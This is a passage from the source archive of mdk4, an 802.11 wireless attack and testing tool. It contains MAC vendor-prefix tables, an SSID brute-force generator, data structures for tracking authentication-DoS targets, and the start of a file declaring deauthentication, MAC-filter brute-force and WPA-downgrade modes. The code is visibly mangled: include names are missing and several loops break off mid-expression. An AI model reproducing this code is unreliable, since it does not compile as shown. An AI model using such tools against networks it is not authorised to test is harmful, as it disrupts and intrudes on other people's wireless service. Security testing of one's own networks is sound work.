"00045A5A0000/FFFFFFFF0000",
"00045A5A0000/FFFFFFFF0000",
"00045A5A0000/FFFFFFFF0000",
"000475000000/FFFFFF000000",
"000475750000/FFFFFFFF0000",
"000475750000/FFFFFFFF0000",
"000475750000/FFFFFFFF0000",
"0004DBDB0000/FFFFFFFF0000",
"0004E2000000/FFFFFF000000",
"0004E2E20000/FFFFFFFF0000",
"0004E2E20000/FFFFFFFF0000",
"0004E2E20000/FFFFFFFF0000",
"0004E2E20000/FFFFFFFF0000",
"0004E2E20000/FFFFFFFF0000",
"00053C3C0000/FFFFFFFF0000",
"00055D000000/FFFFFF000000",
"00055D000000/FFFFFF000000",
"00055D5D0000/FFFFFFFF0000",
"00055D5D0000/FFFFFFFF0000",
"00055D5D0000/FFFFFFFF0000",
"00055D5D0000/FFFFFFFF0000",
"00055D5D0000/FFFFFFFF0000",
"00055D5D0000/FFFFFFFF0000",
"00055D5D0000/FFFFFFFF0000",
"00055D5D0000/FFFFFFFF0000",
"00055D5D0000/FFFFFFFF0000",
"00055D5D0000/FFFFFFFF0000",
"00055D5D0000/FFFFFFFF0000",
"00055D5D0000/FFFFFFFF0000",
"000625000000/FFFFFF000000",
"000625000000/FFFFFF000000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"00070E000000/FFFFFF000000",
"00070E0E0000/FFFFFFFF0000",
"00070E0E0000/FFFFFFFF0000",
"000750000000/FFFFFF000000",
"000750500000/FFFFFFFF0000",
"000750500000/FFFFFFFF0000",
"000821000000/FFFFFF000000",
"000821210000/FFFFFFFF0000",
"000821210000/FFFFFFFF0000",
"000821210000/FFFFFFFF0000",
"000821210000/FFFFFFFF0000",
"000943000000/FFFFFF000000",
"000943430000/FFFFFFFF0000",
"00095B000000/FFFFFF000000",
"00095B5B0000/FFFFFFFF0000",
"00095B5B0000/FFFFFFFF0000",
"00095B5B0000/FFFFFFFF0000",
"00095B5B0000/FFFFFFFF0000",
"00095B5B0000/FFFFFFFF0000",
"00095B5B0000/FFFFFFFF0000",
"00095B5B0000/FFFFFFFF0000",
"00097C000000/FFFFFF000000",
"00097C7C0000/FFFFFFFF0000",
"00097C7C0000/FFFFFFFF0000",
"000992920000/FFFFFFFF0000",
"0009B7B70000/FFFFFFFF0000",
"0009B7B70000/FFFFFFFF0000",
"0009E8000000/FFFFFF000000",
"0009E8E80000/FFFFFFFF0000",
"000A41000000/FFFFFF000000",
"000A41410000/FFFFFFFF0000",
"000A41410000/FFFFFFFF0000",
"000A41410000/FFFFFFFF0000",
"000A41410000/FFFFFFFF0000",
"000A41410000/FFFFFFFF0000",
"000A8A000000/FFFFFF000000",
"000A8A000000/FFFFFF000000",
"000A8A8A0000/FFFFFFFF0000",
"000B5F5F0000/FFFFFFFF0000",
"0020A6A60000/FFFFFFFF0000",
"0020D6D60000/FFFFFFFF0000",
"003065000000/FFFFFF000000",
"003065000000/FFFFFF000000",
"003065650000/FFFFFFFF0000",
"0030AB000000/FFFFFF000000",
"0030ABAB0000/FFFFFFFF0000",
"0030ABAB0000/FFFFFFFF0000",
"0030ABAB0000/FFFFFFFF0000",
"0030ABAB0000/FFFFFFFF0000",
"0030ABAB0000/FFFFFFFF0000",
"0030ABAB0000/FFFFFFFF0000",
"0030ABAB0000/FFFFFFFF0000",
"0030BD000000/FFFFFF000000",
"0030BD000000/FFFFFF000000",
"0030BDBD0000/FFFFFFFF0000",
"0030BDBD0000/FFFFFFFF0000",
"0030BDBD0000/FFFFFFFF0000",
"0030BDBD0000/FFFFFFFF0000",
"0030BDBD0000/FFFFFFFF0000",
"0030BDBD0000/FFFFFFFF0000",
"004005050000/FFFFFFFF0000",
"004005050000/FFFFFFFF0000",
"004005050000/FFFFFFFF0000",
"004005050000/FFFFFFFF0000",
"004005050000/FFFFFFFF0000",
"004005050000/FFFFFFFF0000",
"004026000000/FFFFFF000000",
"004096000000/FFFFFF000000",
"004096000000/FFFFFF000000",
"004096960000/FFFFFFFF0000",
"004096960000/FFFFFFFF0000",
"004096960000/FFFFFFFF0000",
"004096960000/FFFFFFFF0000",
"004096960000/FFFFFFFF0000",
"004096960000/FFFFFFFF0000",
"004096960000/FFFFFFFF0000",
"004096960000/FFFFFFFF0000",
"004096960000/FFFFFFFF0000",
"004096960000/FFFFFFFF0000",
"004096960000/FFFFFFFF0000",
"005008000000/FFFFFF000000",
"005008080000/FFFFFFFF0000",
"005008080000/FFFFFFFF0000",
"00508B8B0000/FFFFFFFF0000",
"00508B8B0000/FFFFFFFF0000",
"0050DA000000/FFFFFF000000",
"0050DA000000/FFFFFF000000",
"0050DADA0000/FFFFFFFF0000",
"0050F2F20000/FFFFFFFF0000",
"0050F2F20000/FFFFFFFF0000",
"006001000000/FFFFFF000000",
"006001010000/FFFFFFFF0000",
"00601D000000/FFFFFF000000",
"00601D000000/FFFFFF000000",
"00601D1D0000/FFFFFFFF0000",
"00601D1D0000/FFFFFFFF0000",
"00601D1D0000/FFFFFFFF0000",
"00601D1D0000/FFFFFFFF0000",
"00601D1D0000/FFFFFFFF0000",
"00601D1D0000/FFFFFFFF0000",
"00601D1D0000/FFFFFFFF0000",
"00606D000000/FFFFFF000000",
"00606D6D0000/FFFFFFFF0000",
"00606D6D0000/FFFFFFFF0000",
"00606D6D0000/FFFFFFFF0000",
"0060B3000000/FFFFFF000000",
"0060B3B30000/FFFFFFFF0000",
"0060B3B30000/FFFFFFFF0000",
"0060B3B30000/FFFFFFFF0000",
"0060B3B30000/FFFFFFFF0000",
"0060B3B30000/FFFFFFFF0000",
"008037370000/FFFFFFFF0000",
"0080C6000000/FFFFFF000000",
"00904B4B0000/FFFFFFFF0000",
"009096960000/FFFFFFFF0000",
"0090D1000000/FFFFFF000000",
"0090D1000000/FFFFFF000000",
"0090D1D10000/FFFFFFFF0000",
"0090D1D10000/FFFFFFFF0000",
"0090D1D10000/FFFFFFFF0000",
"00A004000000/FFFFFF000000",
"00A065650000/FFFFFFFF0000",
"00A0F8000000/FFFFFF000000",
"00A0F8F80000/FFFFFFFF0000",
"00A0F8F80000/FFFFFFFF0000",
"00C049490000/FFFFFFFF0000",
"00E029000000/FFFFFF000000",
"00E029290000/FFFFFFFF0000",
"00E029290000/FFFFFFFF0000",
"00E029290000/FFFFFFFF0000",
"080046000000/FFFFFF000000",
"080046460000/FFFFFFFF0000",
"00000C000000/FFFFFF000000",
"000074000000/FFFFFF000000",
"000092000000/FFFFFF000000",
"0000AA000000/FFFFFF000000",
"0000C5000000/FFFFFF000000",
"0000CE000000/FFFFFF000000",
"0000DE000000/FFFFFF000000",
"000103000000/FFFFFF000000",
"000124000000/FFFFFF000000",
"000138000000/FFFFFF000000",
"000195000000/FFFFFF000000",
"0001E6000000/FFFFFF000000",
"0001F4000000/FFFFFF000000",
"00022D000000/FFFFFF000000",
"000244000000/FFFFFF000000",
"00026F000000/FFFFFF000000",
"000272000000/FFFFFF000000",
"00028A000000/FFFFFF000000",
"0002A5000000/FFFFFF000000",
"0002B3000000/FFFFFF000000",
"00030A000000/FFFFFF000000",
"00032F000000/FFFFFF000000",
"000352000000/FFFFFF000000",
"000393000000/FFFFFF000000",
"000423000000/FFFFFF000000",
"00045A000000/FFFFFF000000",
"000475000000/FFFFFF000000",
"000476000000/FFFFFF000000",
"0004DB000000/FFFFFF000000",
"0004E2000000/FFFFFF000000",
"0004E2000000/FFFFFF000000",
"00053C000000/FFFFFF000000",
"00054E000000/FFFFFF000000",
"00055D000000/FFFFFF000000",
"000587000000/FFFFFF000000",
"000625000000/FFFFFF000000",
"000625000000/FFFFFF000000",
"000625000000/FFFFFF000000",
"0006B1000000/FFFFFF000000",
"00070E000000/FFFFFF000000",
"000713000000/FFFFFF000000",
"000740000000/FFFFFF000000",
"000750000000/FFFFFF000000",
"000785000000/FFFFFF000000",
"0007EB000000/FFFFFF000000",
"000821000000/FFFFFF000000",
"0008A1000000/FFFFFF000000",
"000943000000/FFFFFF000000",
"00095B000000/FFFFFF000000",
"00095B000000/FFFFFF000000",
"00095B000000/FFFFFF000000",
"00095B000000/FFFFFF000000",
"00097C000000/FFFFFF000000",
"0009B7000000/FFFFFF000000",
"0009E8000000/FFFFFF000000",
"000A04000000/FFFFFF000000",
"000A41000000/FFFFFF000000",
"000A8A000000/FFFFFF000000",
"000A95000000/FFFFFF000000",
"000AB7000000/FFFFFF000000",
"000AE9000000/FFFFFF000000",
"000B5F000000/FFFFFF000000",
"000B6B000000/FFFFFF000000",
"000B6C000000/FFFFFF000000",
"000B7D000000/FFFFFF000000",
"000B85000000/FFFFFF000000",
"000B86000000/FFFFFF000000",
"000BAC000000/FFFFFF000000",
"000BBE000000/FFFFFF000000",
"000BCD000000/FFFFFF000000",
"000BFD000000/FFFFFF000000",
"000C30000000/FFFFFF000000",
"000C41000000/FFFFFF000000",
"000C85000000/FFFFFF000000",
"000CCE000000/FFFFFF000000",
"000CE5000000/FFFFFF000000",
"000CF1000000/FFFFFF000000",
"000D0B000000/FFFFFF000000",
"000D14000000/FFFFFF000000",
"000D28000000/FFFFFF000000",
"000D29000000/FFFFFF000000",
"000D3A000000/FFFFFF000000",
"000D54000000/FFFFFF000000",
"000D65000000/FFFFFF000000",
"000D72000000/FFFFFF000000",
"000D88000000/FFFFFF000000",
"000D93000000/FFFFFF000000",
"000D97000000/FFFFFF000000",
"000D9D000000/FFFFFF000000",
"000DBD000000/FFFFFF000000",
"000DED000000/FFFFFF000000",
"000E35000000/FFFFFF000000",
"000E38000000/FFFFFF000000",
"000E3B000000/FFFFFF000000",
"000E58000000/FFFFFF000000",
"000E6A000000/FFFFFF000000",
"000E7F000000/FFFFFF000000",
"000E83000000/FFFFFF000000",
"000E84000000/FFFFFF000000",
"000E9B000000/FFFFFF000000",
"000EA6000000/FFFFFF000000",
"000ED7000000/FFFFFF000000",
"000F23000000/FFFFFF000000",
"000F24000000/FFFFFF000000",
"000F34000000/FFFFFF000000",
"000F3D000000/FFFFFF000000",
"000F66000000/FFFFFF000000",
"000F8F000000/FFFFFF000000",
"000F90000000/FFFFFF000000",
"000FB5000000/FFFFFF000000",
"000FEA000000/FFFFFF000000",
"000FF7000000/FFFFFF000000",
"000FF8000000/FFFFFF000000",
"0010C6000000/FFFFFF000000",
"0010E7000000/FFFFFF000000",
"001109000000/FFFFFF000000",
"00110A000000/FFFFFF000000",
"001120000000/FFFFFF000000",
"001121000000/FFFFFF000000",
"001124000000/FFFFFF000000",
"00112F000000/FFFFFF000000",
"001150000000/FFFFFF000000",
"00115C000000/FFFFFF000000",
"001188000000/FFFFFF000000",
"001192000000/FFFFFF000000",
"001193000000/FFFFFF000000",
"001195000000/FFFFFF000000",
"0011BB000000/FFFFFF000000",
"0011D8000000/FFFFFF000000",
"0011F5000000/FFFFFF000000",
"001200000000/FFFFFF000000",
"001201000000/FFFFFF000000",
"001217000000/FFFFFF000000",
"001225000000/FFFFFF000000",
"001243000000/FFFFFF000000",
"00127F000000/FFFFFF000000",
"001280000000/FFFFFF000000",
"001288000000/FFFFFF000000",
"0012D9000000/FFFFFF000000",
"0012DA000000/FFFFFF000000",
"0012F0000000/FFFFFF000000",
"001310000000/FFFFFF000000",
"001319000000/FFFFFF000000",
"00131A000000/FFFFFF000000",
"001346000000/FFFFFF000000",
"001360000000/FFFFFF000000",
"00137F000000/FFFFFF000000",
"001380000000/FFFFFF000000",
"0013C4000000/FFFFFF000000",
"002000000000/FFFFFF000000",
"0020A6000000/FFFFFF000000",
"0020D8000000/FFFFFF000000",
"0020E0000000/FFFFFF000000",
"00301A000000/FFFFFF000000",
"003065000000/FFFFFF000000",
"00306E000000/FFFFFF000000",
"0030AB000000/FFFFFF000000",
"0030BD000000/FFFFFF000000",
"0030BD000000/FFFFFF000000",
"0030BD000000/FFFFFF000000",
"0030F1000000/FFFFFF000000",
"004001000000/FFFFFF000000",
"004005000000/FFFFFF000000",
"004026000000/FFFFFF000000",
"004033000000/FFFFFF000000",
"004036000000/FFFFFF000000",
"004096000000/FFFFFF000000",
"005008000000/FFFFFF000000",
"005018000000/FFFFFF000000",
"0050DA000000/FFFFFF000000",
"0050F2000000/FFFFFF000000",
"0050FC000000/FFFFFF000000",
"006001000000/FFFFFF000000",
"00601D000000/FFFFFF000000",
"00606D000000/FFFFFF000000",
"0060B3000000/FFFFFF000000",
"008048000000/FFFFFF000000",
"0080C6000000/FFFFFF000000",
"0080C8000000/FFFFFF000000",
"00900E000000/FFFFFF000000",
"00904C000000/FFFFFF000000",
"009096000000/FFFFFF000000",
"0090D1000000/FFFFFF000000",
"00A004000000/FFFFFF000000",
"00A0C5000000/FFFFFF000000",
"00A0F8000000/FFFFFF000000",
"00B064000000/FFFFFF000000",
"00C002000000/FFFFFF000000",
"00C049000000/FFFFFF000000",
"00D059000000/FFFFFF000000",
"00E000000000/FFFFFF000000",
"00E029000000/FFFFFF000000",
"00E063000000/FFFFFF000000",
"00E098000000/FFFFFF000000",
"00E0B8000000/FFFFFF000000",
"080046000000/FFFFFF000000"
};
const int accesspoints_count = 227;
unsigned char accesspoints[227][25] = {
"00000C000000/FFFFFF000000",
"000074000000/FFFFFF000000",
"000092000000/FFFFFF000000",
"0000AA000000/FFFFFF000000",
"0000C5000000/FFFFFF000000",
"0000CE000000/FFFFFF000000",
"0000DE000000/FFFFFF000000",
"000103000000/FFFFFF000000",
"000124000000/FFFFFF000000",
"000124240000/FFFFFFFF0000",
"000138000000/FFFFFF000000",
"000195000000/FFFFFF000000",
"0001E6000000/FFFFFF000000",
"0001F4000000/FFFFFF000000",
"00022D000000/FFFFFF000000",
"000244000000/FFFFFF000000",
"00026F000000/FFFFFF000000",
"000272000000/FFFFFF000000",
"00028A000000/FFFFFF000000",
"0002A5000000/FFFFFF000000",
"0002B3000000/FFFFFF000000",
"00030A000000/FFFFFF000000",
"00032F000000/FFFFFF000000",
"000352000000/FFFFFF000000",
"000393000000/FFFFFF000000",
"000423000000/FFFFFF000000",
"00043A3A0000/FFFFFFFF0000",
"00045A000000/FFFFFF000000",
"00045A0E0000/FFFFFFFF0000",
"00045A2E0000/FFFFFFFF0000",
"00045A5A0000/FFFFFFFF0000",
"000475000000/FFFFFF000000",
"000475750000/FFFFFFFF0000",
"000476000000/FFFFFF000000",
"0004DB000000/FFFFFF000000",
"0004E2000000/FFFFFF000000",
"0004E2000000/FFFFFF000000",
"0004E2E20000/FFFFFFFF0000",
"00053C000000/FFFFFF000000",
"00054E000000/FFFFFF000000",
"00055D000000/FFFFFF000000",
"00055D5D0000/FFFFFFFF0000",
"000587000000/FFFFFF000000",
"000625000000/FFFFFF000000",
"000625000000/FFFFFF000000",
"000625000000/FFFFFF000000",
"000625250000/FFFFFFFF0000",
"000625250000/FFFFFFFF0000",
"0006B1000000/FFFFFF000000",
"00070E000000/FFFFFF000000",
"000713000000/FFFFFF000000",
"000740000000/FFFFFF000000",
"000750000000/FFFFFF000000",
"000785000000/FFFFFF000000",
"0007EB000000/FFFFFF000000",
"000821000000/FFFFFF000000",
"0008A1000000/FFFFFF000000",
"000943000000/FFFFFF000000",
"00095B000000/FFFFFF000000",
"00095B000000/FFFFFF000000",
"00095B000000/FFFFFF000000",
"00095B000000/FFFFFF000000",
"00097C000000/FFFFFF000000",
"000992920000/FFFFFFFF0000",
"0009B7000000/FFFFFF000000",
"0009E8000000/FFFFFF000000",
"000A04000000/FFFFFF000000",
"000A41000000/FFFFFF000000",
"000A8A000000/FFFFFF000000",
"000A8A8A0000/FFFFFFFF0000",
"000A95000000/FFFFFF000000",
"000AB7000000/FFFFFF000000",
"000AE9000000/FFFFFF000000",
"000B5F000000/FFFFFF000000",
"000B6B000000/FFFFFF000000",
"000B6C000000/FFFFFF000000",
"000B7D000000/FFFFFF000000",
"000B85000000/FFFFFF000000",
"000B86000000/FFFFFF000000",
"000BAC000000/FFFFFF000000",
"000BBE000000/FFFFFF000000",
"000BCD000000/FFFFFF000000",
"000BFD000000/FFFFFF000000",
"000C30000000/FFFFFF000000",
"000C41000000/FFFFFF000000",
"000C85000000/FFFFFF000000",
"000CCE000000/FFFFFF000000",
"000CE5000000/FFFFFF000000",
"000CF1000000/FFFFFF000000",
"000D0B000000/FFFFFF000000",
"000D14000000/FFFFFF000000",
"000D28000000/FFFFFF000000",
"000D29000000/FFFFFF000000",
"000D3A000000/FFFFFF000000",
"000D54000000/FFFFFF000000",
"000D65000000/FFFFFF000000",
"000D72000000/FFFFFF000000",
"000D88000000/FFFFFF000000",
"000D93000000/FFFFFF000000",
"000D97000000/FFFFFF000000",
"000D9D000000/FFFFFF000000",
"000DBD000000/FFFFFF000000",
"000DED000000/FFFFFF000000",
"000E35000000/FFFFFF000000",
"000E38000000/FFFFFF000000",
"000E3B000000/FFFFFF000000",
"000E58000000/FFFFFF000000",
"000E6A000000/FFFFFF000000",
"000E7F000000/FFFFFF000000",
"000E83000000/FFFFFF000000",
"000E84000000/FFFFFF000000",
"000E9B000000/FFFFFF000000",
"000EA6000000/FFFFFF000000",
"000ED7000000/FFFFFF000000",
"000F23000000/FFFFFF000000",
"000F24000000/FFFFFF000000",
"000F34000000/FFFFFF000000",
"000F3D000000/FFFFFF000000",
"000F66000000/FFFFFF000000",
"000F8F000000/FFFFFF000000",
"000F90000000/FFFFFF000000",
"000FB5000000/FFFFFF000000",
"000FEA000000/FFFFFF000000",
"000FF7000000/FFFFFF000000",
"000FF8000000/FFFFFF000000",
"0010C6000000/FFFFFF000000",
"0010E7000000/FFFFFF000000",
"001109000000/FFFFFF000000",
"00110A000000/FFFFFF000000",
"001120000000/FFFFFF000000",
"001121000000/FFFFFF000000",
"001124000000/FFFFFF000000",
"00112F000000/FFFFFF000000",
"001150000000/FFFFFF000000",
"00115C000000/FFFFFF000000",
"001188000000/FFFFFF000000",
"001192000000/FFFFFF000000",
"001193000000/FFFFFF000000",
"001195000000/FFFFFF000000",
"0011BB000000/FFFFFF000000",
"0011D8000000/FFFFFF000000",
"0011F5000000/FFFFFF000000",
"001200000000/FFFFFF000000",
"001201000000/FFFFFF000000",
"001217000000/FFFFFF000000",
"001225000000/FFFFFF000000",
"001243000000/FFFFFF000000",
"00127F000000/FFFFFF000000",
"001280000000/FFFFFF000000",
"001288000000/FFFFFF000000",
"0012D9000000/FFFFFF000000",
"0012DA000000/FFFFFF000000",
"0012F0000000/FFFFFF000000",
"001310000000/FFFFFF000000",
"001319000000/FFFFFF000000",
"00131A000000/FFFFFF000000",
"001346000000/FFFFFF000000",
"001360000000/FFFFFF000000",
"00137F000000/FFFFFF000000",
"001380000000/FFFFFF000000",
"0013C4000000/FFFFFF000000",
"002000000000/FFFFFF000000",
"0020A6000000/FFFFFF000000",
"0020D8000000/FFFFFF000000",
"0020E0000000/FFFFFF000000",
"00301A000000/FFFFFF000000",
"003065000000/FFFFFF000000",
"003065650000/FFFFFFFF0000",
"00306E000000/FFFFFF000000",
"0030AB000000/FFFFFF000000",
"0030ABAB0000/FFFFFFFF0000",
"0030BD000000/FFFFFF000000",
"0030BD000000/FFFFFF000000",
"0030BD000000/FFFFFF000000",
"0030BDBD0000/FFFFFFFF0000",
"0030F1000000/FFFFFF000000",
"004001000000/FFFFFF000000",
"004005000000/FFFFFF000000",
"004005050000/FFFFFFFF0000",
"004005050000/FFFFFFFF0000",
"004026000000/FFFFFF000000",
"004026260000/FFFFFFFF0000",
"004033000000/FFFFFF000000",
"004036000000/FFFFFF000000",
"004096000000/FFFFFF000000",
"004096960000/FFFFFFFF0000",
"004096960000/FFFFFFFF0000",
"004096960000/FFFFFFFF0000",
"005008000000/FFFFFF000000",
"005018000000/FFFFFF000000",
"00508B8B0000/FFFFFFFF0000",
"0050DA000000/FFFFFF000000",
"0050DADA0000/FFFFFFFF0000",
"0050F2000000/FFFFFF000000",
"0050F2F20000/FFFFFFFF0000",
"0050FC000000/FFFFFF000000",
"006001000000/FFFFFF000000",
"00601D000000/FFFFFF000000",
"00601D1D0000/FFFFFFFF0000",
"00606D000000/FFFFFF000000",
"0060B3000000/FFFFFF000000",
"008037370000/FFFFFFFF0000",
"008048000000/FFFFFF000000",
"0080C6000000/FFFFFF000000",
"0080C6C60000/FFFFFFFF0000",
"0080C8000000/FFFFFF000000",
"00900E000000/FFFFFF000000",
"00904B4B0000/FFFFFFFF0000",
"00904C000000/FFFFFF000000",
"009096000000/FFFFFF000000",
"0090D1000000/FFFFFF000000",
"0090D1D10000/FFFFFFFF0000",
"0090D1D10000/FFFFFFFF0000",
"00A004000000/FFFFFF000000",
"00A004040000/FFFFFFFF0000",
"00A0C5000000/FFFFFF000000",
"00A0F8000000/FFFFFF000000",
"00B064000000/FFFFFF000000",
"00C002000000/FFFFFF000000",
"00C049000000/FFFFFF000000",
"00D059000000/FFFFFF000000",
"00E000000000/FFFFFF000000",
"00E029000000/FFFFFF000000",
"00E063000000/FFFFFF000000",
"00E098000000/FFFFFF000000",
"00E0B8000000/FFFFFF000000",
"080046000000/FFFFFF000000"
};
#endif mdk4-master/src/brute.c 0000644 0001750 0001750 00000005572 13525065636 016062 0 ustar samueloph samueloph #include
#include
#include
#include "brute.h"
struct row {
char start;
char end;
};
struct charclass {
char ident;
unsigned char count;
struct row rows[4];
};
#define CLASSES_COUNT 4
struct charclass classes[CLASSES_COUNT] =
{ { .ident = 'n', .count = 1, .rows = { { .start = '0', .end = '9' } } },
{ .ident = 'l', .count = 1, .rows = { { .start = 'a', .end = 'z' } } },
{ .ident = 'u', .count = 1, .rows = { { .start = 'A', .end = 'Z' } } },
{ .ident = 's', .count = 4, .rows = { { .start = '!', .end = '/' },
{ .start = ':', .end = '@' },
{ .start = '[', .end = '`' },
{ .start = '{', .end = '~' } } } };
struct charclass *get_charclass_for_ident(char ident) {
int i;
for (i=0; i= classes[i].rows[j].start) && (ch <= classes[i].rows[j].end)) return &(classes[i]);
}
}
return 0;
}
//Return 1 if current charclass has been exhausted
int increment_char(char *here, struct charclass *curcls) {
int i;
for (i=0; icount; i++) {
if (*here == curcls->rows[i].end) { //We're at the end of some row!
if (i == curcls->count - 1) { //And it was the last row
return 1;
} else {
*here = curcls->rows[i + 1].start;
return 0;
}
}
}
(*here)++;
return 0;
}
//if last is NULL a new word with length len will be allocated and returned
//Use this word for the next calls to get_brute_word
//if last is set, len is ignored and the next valid word is returned (overwrites last, do not free()!)
char *get_brute_word(char *cls, char *last, unsigned int len) {
unsigned int i;
int ii;
struct charclass *class[len];
char *nextclass;
for(i=0; irows[0].start;
last[len] = 0x00;
return last;
}
for (i=0; iident)) {
printf("Character %c is not in any of the selected character classes!\n", last[i]);
return NULL;
}
}
for (ii=strlen(last)-1; ii>=0; ii--) {
if (increment_char(&(last[ii]), class[ii])) {
nextclass = strchr(cls, class[ii]->ident) + 1;
if (nextclass == (cls + strlen(cls))) {
class[ii] = get_charclass_for_ident(cls[0]);
last[ii] = class[ii]->rows[0].start;
continue;
}
class[ii] = get_charclass_for_ident(*nextclass);
last[ii] = class[ii]->rows[0].start;
return last;
}
return last;
}
return NULL;
}
mdk4-master/src/linkedlist.h 0000644 0001750 0001750 00000004272 13525065636 017104 0 ustar samueloph samueloph #ifndef HAVE_LINKEDLIST_H
#define HAVE_LINKEDLIST_H
#include
#include "mac_addr.h"
#define SHUFFLE_DISTANCE 16 //more shuffling => more cpu
struct clist
{
unsigned char *data;
int data_len;
int status;
struct clist *next;
};
struct clistwidsap
{
struct ether_addr bssid;
int channel;
uint16_t capa;
char *ssid;
struct clistwidsap *next;
};
struct clistwidsclient
{
struct ether_addr mac;
char status; //0=ready 1=authed 2=assoced
struct clistwidsclient *next;
unsigned char *data;
int data_len;
int retries;
uint16_t seq;
struct clistwidsap *bssid;
};
struct clistauthdos
{
struct ether_addr ap;
unsigned char status;
unsigned int responses;
unsigned int missing;
struct clistauthdos *next;
};
//All these calls are thread-safe via a single pthread_mutex!
struct clistauthdos *add_to_clistauthdos(struct clistauthdos *c, struct ether_addr ap, unsigned char status, unsigned int responses, unsigned int missing);
struct clistauthdos *search_ap(struct clistauthdos *c, struct ether_addr ap);
struct clistauthdos *search_authdos_status(struct clistauthdos *c, int desired_status);
struct clist *add_to_clist(struct clist *c, unsigned char *data, int status, int data_len);
struct clist *search_status(struct clist *c, int desired_status);
struct clist *search_data(struct clist *c, unsigned char *desired_data, int data_len);
struct clistwidsap *add_to_clistwidsap(struct clistwidsap *c, struct ether_addr bssid, int channel, uint16_t capa, char *ssid);
struct clistwidsap *search_bssid(struct clistwidsap *c, struct ether_addr desired_bssid);
struct clistwidsap *search_bssid_on_channel(struct clistwidsap *c, int desired_channel);
struct clistwidsap *shuffle_widsaps(struct clistwidsap *c);
struct clistwidsclient *add_to_clistwidsclient(struct clistwidsclient *c, struct ether_addr mac, int status, unsigned char *data, int data_len, uint16_t sequence, struct clistwidsap *bssid);
struct clistwidsclient *search_status_widsclient(struct clistwidsclient *c, int desired_status, int desired_channel);
struct clistwidsclient *search_client(struct clistwidsclient *c, struct ether_addr mac);
struct clistwidsclient *shuffle_widsclients(struct clistwidsclient *c);
#endif
mdk4-master/src/mdk3_old.c 0000644 0001750 0001750 00000047310 13525065636 016431 0 ustar samueloph samueloph /*
* mdk3, a 802.11 wireless network security testing tool
* Just like John the ripper or nmap, now part of most distros,
* it is important that the defender of a network can test it using
* aggressive tools.... before somebody else does.
*
* This file contains parts from 'aircrack' project by Cristophe Devine.
*
* Copyright (C) 2006-2010 Pedro Larbig
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; version 2 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
//Using GNU Extension getline(), not ANSI C
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include "osdep.h"
#include "debug.h"
#include "helpers.h"
#include "mac_addr.h"
#define MAX_APS_TRACKED 100
#define MAX_APS_TESTED 100
# define TIMEVAL_TO_TIMESPEC(tv, ts) { \
(ts)->tv_sec = (tv)->tv_sec; \
(ts)->tv_nsec = (tv)->tv_usec * 1000; \
}
unsigned char tmpbuf[MAX_PACKET_LENGTH]; // Temp buffer for packet manipulation in send/read_packet
unsigned char pkt[MAX_PACKET_LENGTH]; // Space to save generated packet
unsigned char pkt_sniff[MAX_PACKET_LENGTH]; // Space to save sniffed packets
unsigned char pkt_check[MAX_PACKET_LENGTH]; // Space to save sniffed packets to check success
unsigned char aps_known[MAX_APS_TRACKED][ETHER_ADDR_LEN]; // Array to save MACs of known APs
int aps_known_count = 0; // Number of known APs
unsigned char auth[MAX_APS_TESTED][ETHER_ADDR_LEN]; // Array to save MACs of APs currently under test
int auths[MAX_APS_TESTED][4]; // Array to save status of APs under test
unsigned char *pkt_amok = NULL; // Pointer to packet for deauth mode
unsigned char *target = NULL; // Target for SSID Bruteforce / Intelligent Auth DoS
int exit_now = 0; // Tells main thread to exit
int ssid_len = 0; // Length of SSID used in Bruteforce mode
int ssid_eof = 0; // Tell other threads, SSID file has reached EOF
char brute_mode; // Which ASCII-characters should be used
char *brute_ssid; // SSID in Bruteforce mode
unsigned int end = 0; // Has Bruteforce mode tried all possibilities?
unsigned int turns = 0; // Number of tried SSIDs
unsigned int max_permutations = 1; // Number of SSIDs possible
int real_brute = 0; // use Bruteforce mode?
int init_intelligent = 0; // Is intelligent_auth_dos initialized?
int init_intelligent_data = 0; // Is its data list initialized?
int we_got_data = 0; // Sniffer thread tells generator thread if there is any data
struct ether_addr mac_base; // First three bytes of address given for bruteforcing MAC filter
struct ether_addr mac_lower; // Last three bytes of address for Bruteforcing MAC filter
int mac_b_init = 0; // Initializer for MAC bruteforcer
static pthread_mutex_t has_packet_mutex; // Used for condition below
static pthread_cond_t has_packet; // Pthread Condition "Packet ready"
int has_packet_really = 0; // Since the above condition has a timeout we want to use, we need another int here
static pthread_mutex_t clear_packet_mutex; // Used for condition below
static pthread_cond_t clear_packet; // Pthread Condition "Buffer cleared, get next packet"
struct timeval tv_dyntimeout; // Dynamic timeout for MAC bruteforcer
int mac_brute_speed = 0; // MAC Bruteforcer Speed-o-meter
int mac_brute_timeouts = 0; // Timeout counter for MAC Bruteforcer
int hopper_seconds = 1; // Default time for channel hopper to stay on one channel
int wpad_cycles = 0, wpad_auth = 0; // Counters for WPA downgrade: completed deauth cycles, sniffed 802.1x auth packets
int wpad_wep = 0, wpad_beacons = 0; // Counters for WPA downgrade: sniffed WEP/open packets, sniffed beacons/sec
"TEST MODES:\n"
"f - MAC filter bruteforce mode\n"
" This test uses a list of known client MAC Adresses and tries to\n"
" authenticate them to the given AP while dynamically changing\n"
" its response timeout for best performance. It currently works only\n"
" on APs who deny an open authentication request properly\n"
"g - WPA Downgrade test\n"
